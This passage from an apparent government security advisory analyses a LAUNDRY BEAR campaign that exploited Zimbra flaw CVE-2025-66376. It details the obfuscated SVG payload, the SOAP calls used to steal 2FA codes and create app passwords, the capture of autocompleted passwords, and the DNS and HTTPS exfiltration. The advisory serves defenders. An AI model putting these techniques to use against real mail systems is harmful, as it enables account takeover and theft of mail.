  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
